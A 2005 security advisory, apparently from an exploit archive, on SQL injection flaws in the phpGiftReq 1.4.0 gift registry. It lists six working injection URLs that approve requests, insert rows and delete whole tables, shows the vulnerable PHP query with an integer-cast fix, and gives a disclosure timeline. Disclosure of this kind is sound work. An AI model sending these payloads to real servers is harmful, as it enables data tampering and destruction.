exploit the possibilities

phpGiftReq.txt

phpGiftReq.txt
Posted Jan 16, 2005
Authored by Madelman

phpGiftReq 1.4.0 suffers from multiple SQL injection flaws that allow for manipulation of the database.

tags | exploit, sql injection
MD5 | 7c0a1e1bb740848737f21d9abdbd4990

phpGiftReq.txt

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Title: phpGiftReq SQL Injection
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 16/01/2005
Severity: Moderately critical

Summary:
- --------

The PHP Gift Registry is a web-enabled gift registry intended for use
among a circle of family members or friends
(from vendor site: http://phpgiftreg.sourceforge.net/)

phpGiftReq doesn't validate the parameters. This allows SQL Injection
and modification of data in the database.

This vulnerability has been tested with phpGiftReq 1.4.0

Details:
- --------

Acknowledge all messages
http://[SERVER]/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1

Approve all pending requests
http://[SERVER]/phpgiftreg/index.php?action=approve&shopper=1%20OR%201%3d1

Decline all pending requests
http://[SERVER]/phpgiftreg/index.php?action=decline&shopper=1%20OR%201%3d1

Inserts current shopper for buying to user 3 without need for approval
http://[SERVER]/phpgiftreg/index.php?action=request&shopfor=3%2c0%29%2c%2899%2c100

Delete all data from table shoppers
http://[SERVER]/phpgiftreg/index.php?action=cancel&shopfor=3%20OR%201%3d1

Delete all data from table items
http://[SERVER]/phpgiftreg/item.php?action=delete&itemid=3%20OR%201%3d1

I'm fairly sure there are a lot more places where SQL can be injected,
but I don't havetime to check them all.


Solution:
- ---------

All parameters should be converted to integers before creating the query.

Example:

Substitute

if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
$_GET["messageid"];
~ mysql_query($query) or die("Could not query: " . mysql_error());
}

with

if ($action == "ack") {
~ $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
((int) $_GET["messageid"]);
~ mysql_query($query) or die("Could not query: " . mysql_error());
}


Timeline
- --------

31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
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